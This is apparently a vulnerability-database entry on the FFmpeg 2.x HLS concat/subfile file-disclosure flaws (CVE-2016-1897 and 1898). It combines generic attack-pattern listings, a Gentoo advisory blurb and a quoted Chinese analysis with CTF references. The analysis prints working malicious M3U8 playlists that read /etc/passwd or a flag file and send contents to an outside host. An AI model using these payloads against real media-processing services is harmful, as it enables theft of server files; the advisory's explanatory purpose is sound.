Summary

FFmpeg 2.x allows remote attackers to conduct cross-origin attacks and read arbitrary files by using the concat protocol in an HTTP Live Streaming (HLS) M3U8 file, leading to an external HTTP request in which the URL string contains the first line of a local file.

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Subverting Environment Variable Values
    The attacker directly or indirectly modifies environment variables used by or controlling the target software. The attacker's goal is to cause the target software to deviate from its expected operation in a manner that benefits the attacker.
  • Footprinting
    An attacker engages in probing and exploration activity to identify constituents and properties of the target. Footprinting is a general term to describe a variety of information gathering techniques, often used by attackers in preparation for some attack. It consists of using tools to learn as much as possible about the composition, configuration, and security mechanisms of the targeted application, system or network. Information that might be collected during a footprinting effort could include open ports, applications and their versions, network topology, and similar information. While footprinting is not intended to be damaging (although certain activities, such as network scans, can sometimes cause disruptions to vulnerable applications inadvertently) it may often pave the way for more damaging attacks.
  • Exploiting Trust in Client (aka Make the Client Invisible)
    An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
  • Browser Fingerprinting
    An attacker carefully crafts small snippets of Java Script to efficiently detect the type of browser the potential victim is using. Many web-based attacks need prior knowledge of the web browser including the version of browser to ensure successful exploitation of a vulnerability. Having this knowledge allows an attacker to target the victim with attacks that specifically exploit known or zero day weaknesses in the type and version of the browser used by the victim. Automating this process via Java Script as a part of the same delivery system used to exploit the browser is considered more efficient as the attacker can supply a browser fingerprinting method and integrate it with exploit code, all contained in Java Script and in response to the same web page request by the browser.
  • Session Credential Falsification through Prediction
    This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

    descriptionThe remote host is affected by the vulnerability described in GLSA-201705-08 (libav: Multiple vulnerabilities) Multiple vulnerabilities have been discovered in libav. Please review the CVE identifiers referenced below for details. Impact : A remote attacker could entice a user to open a specially crafted media file in an application linked against libav, possibly resulting in execution of arbitrary code with the privileges of the application, a Denial of Service condition or access the content of arbitrary local files. Workaround : There is no known workaround at this time.

description详情来源 ：[ffmpeg SSRF漏洞分析](http://xdxd.love/2016/01/18/ffmpeg-SSRF%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/) ffmpeg得反应很快，1月16日就发布了修复版本。 ![](https://images.seebug.org/1462544574828) ### 漏洞影响 如果ffmpeg解析了一个恶意的文件，会导致本地的文件信息泄露。受影响的出了ctf中这个在线视频格式转换的服务外，如果是采用ffmpeg了客户端如果可以输入恶意文件也会造成本地文件信息泄露。 ### 漏洞分析 change log中提到了两个CVE CVE-2016-1897和CVE-2016-1898。 #### CVE-2016-1897 FFmpeg 2.x版本允许攻击者通过服务器端请求伪造(SSRF：Server-Side Request Forgery) 恶意远程窃取服务器端本地文件，由于ffmpeg的hls没有进行对file域协议进行有效限制，导致攻击者可通过构造hls切片索引文件以及ffmpeg对concat的支持(https://www.ffmpeg.org/ffmpeg-protocols.html#concat )来恶意远程窃取服务器端本地文件/etc/passwd，所构造的恶意视频文件如下所示： ``` #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http://dx.su/header.m3u8|file:///etc/passwd #EXT-X-ENDLIST ``` #### CVE-2016-1898 FFmpeg 2.x版本允许攻击者通过服务器端请求伪造(SSRF：Server-Side Request Forgery) 恶意远程窃取服务器端本地文件，由于ffmpeg的hls没有进行对file域协议进行有效限制，导致攻击者可通过构造hls切片索引文件以及ffmpeg对subfile的支持(https://www.ffmpeg.org/ffmpeg-protocols.html#subfile )来恶意远程窃取服务器端本地文件/etc/passwd，所构造的恶意视频文件如下所示： ``` #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http://localhost/header.m3u8|subfile,,start,0,end,64,,:///etc/passwdconcat:http://localhost/header.m3u8|subfile,,start,64,end,128,,:///etc/passwdconcat:http://localhost/header.m3u8|subfile,,start,128,end,256,,:///etc/passwdconcat:http://localhost/header.m3u8|subfile,,start,256,end,512,,:///etc/passwd #EXT-X-ENDLIST ``` ### CTF 比较有意思的是查资料的过程中发现了这篇文章9447 CTF 2015: Super Turbo Atomic GIF Converter 可以看到以下几个方式可以读取文件: ``` #EXTM3U #EXT-X-TARGETDURATION:1 #EXTINF:1, /home/ctf/flag.txt #EXT-X-ENDLIST #EXTM3U #EXT-X-PLAYLIST-TYPE:VOD #EXT-X-TARGETDURATION:1 #EXT-X-VERSION:3 #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, file:///home/ctf/flag.txt #EXT-X-ENDLIST ``` 以及这里cve的concat方式。利用0day做ctf也是高端。 ### 参考资料 * [通过 ffmpeg 的播放列表实现 SSRF 以及窃取文件](http://habrahabr.ru/company/mailru/blog/274855/) * http://seclists.org/oss-sec/2016/q1/85 * http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2016-1897 * https://www.ffmpeg.org/ffmpeg-protocols.html#concat * https://www.ffmpeg.org/ffmpeg-protocols.html#subfile * https://github.com/ctfs/write-ups-2015/tree/master/9447-ctf-2015/web/super-turbo-atomic-gif-converter * http://www.kernelpicnic.net/2015/11/29/9447CTF-Super-Turbo-Atomic-GIF-Converter-Write-Up.html * https://github.com/pwning/public-writeup/tree/master/9447ctf2015/web180-gif-converter * http://pastebin.com/FrsQinQz * https://gist.github.com/Invizory/e45e1ee54cf0687f2002
